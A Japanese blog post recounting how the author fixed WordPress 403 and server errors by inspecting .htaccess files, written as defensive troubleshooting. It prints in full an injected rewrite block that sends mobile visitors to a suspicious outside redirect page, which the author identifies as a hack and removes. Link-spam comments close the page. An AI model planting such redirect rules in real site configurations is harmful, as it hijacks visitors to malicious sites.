WordPress-403-Errorの解決方法

WordPress の 403 エラー対策、解消法

投稿日:2021/04/16    カテゴリ:machiweb

X-Server で .htaccess をいろいろいじっていたら、 wp-admin にアクセスできなくなりました。

解決までの道のりを記録します。

 

まずはエラー文通りパーミッションを確認

特に問題なさそうですが、念の為他サイトでいけているファイル群をアップロードし、各ファイルの上書き。

(wp-config.php はアップロードしない、 DB へのアクセスが変わってしまいます。)

まだ 403 です。

 

.htaccess の確認

対象サイトの .htaccess は、他サイトのコードと一緒です。

 

分からないのでX-Serverに問い合わせました

当サポートにて確認をいたしましたところ、
ドメイン「machiweb.site」直下に設置されている「.htaccess」において、
アクセス制限の記述が追記されている状態でございました。

へ?そこは触っていないぞ.....

そして確認したところ見たこともないような .htaccess のコードが....

とりあえず .htaccess を空にして、再度 wp-admin にアクセス、いけました。

原因は不明ですが、アクセスがうまくいかない時は 大元の .htaccess を疑ってみることも大事、ということがわかりました。

 

Internal Server Errorも...

久々に Value Server の WordPress にアクセスしたら... Internal Server Error.....  もう解約しようか、とまで考えていた Value Server も、 .htaccess を確認すると以下のような見覚えのない内容に。

RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_USER_AGENT} android|bbd+|meego|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-) [NC]
RewriteRule ^$ http://crazytds.club/redirect.php [R,L]
# BEGIN WordPress
# `BEGIN WordPress` から `END WordPress` までのディレクティブ (行) は
# 動的に生成され、WordPress フィルターによってのみ修正が可能です。
# これらのマーカー間にあるディレクティブへのいかなる変更も上書きされてしまいます。

 
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]

 
# END WordPress

見覚えのない記述ですが、書かれている

http://crazytds.club/redirect.php
にアクセスしてみると.... 怪しいサイトに....

つまり知らないうちにハッキング?されていたんですね。

.htaccess 内の # BEGIN より上のコードを削除して再度ドメインにアクセスしたら、いけました。

なんか知らないけど Web がうまく表示されなくなった、そんな時は .htaccess を疑ってみましょう。

 

P.S.

Value Server では、イレギュラー的に Compoer をインストールしていたりしたのでそれが原因で Sever Error かな、 Value Server では Composer 使わない方がいいのかな、と思っていましたが恐らく関係ないことがわかりました。

 



コメント

コメント数 4

投稿者:Genia 2026/02/15 7:34
Digiturk uyelik almak isteyenler icin avantajli firsatlar mevcuttur. https://digiturkpaketler.com/digiturk-paketleri

投稿者:Nathaniel 2026/02/15 4:11
Digiturk uyeligi baslatmak isteyenler icin ozel kampanyalar mevcuttur. https://digiturkpaketler.com/digiturk-paketleri

投稿者:Leigh 2026/02/15 1:32
hey there and thank you for your information – I've definitely picked up something new from right here. I did however expertise several technical issues using this site, as I experienced to reload the website many times previous to I could get it to load correctly. I had been wondering if your web hosting is OK? Not that I'm complaining, but sluggish loading instances times will very frequently affect your placement in google and can damage your high quality score if ads and marketing with Adwords. Anyway I am adding this RSS to my email and could look out for much more of your respective exciting content. Ensure that you update this again soon. https://digiturkpaketler.com/kanallar

投稿者:Oren 2026/02/14 3:32
Hello, I enjoy reading through your article post. I wanted to write a little comment to support you. https://digiturkpaketler.com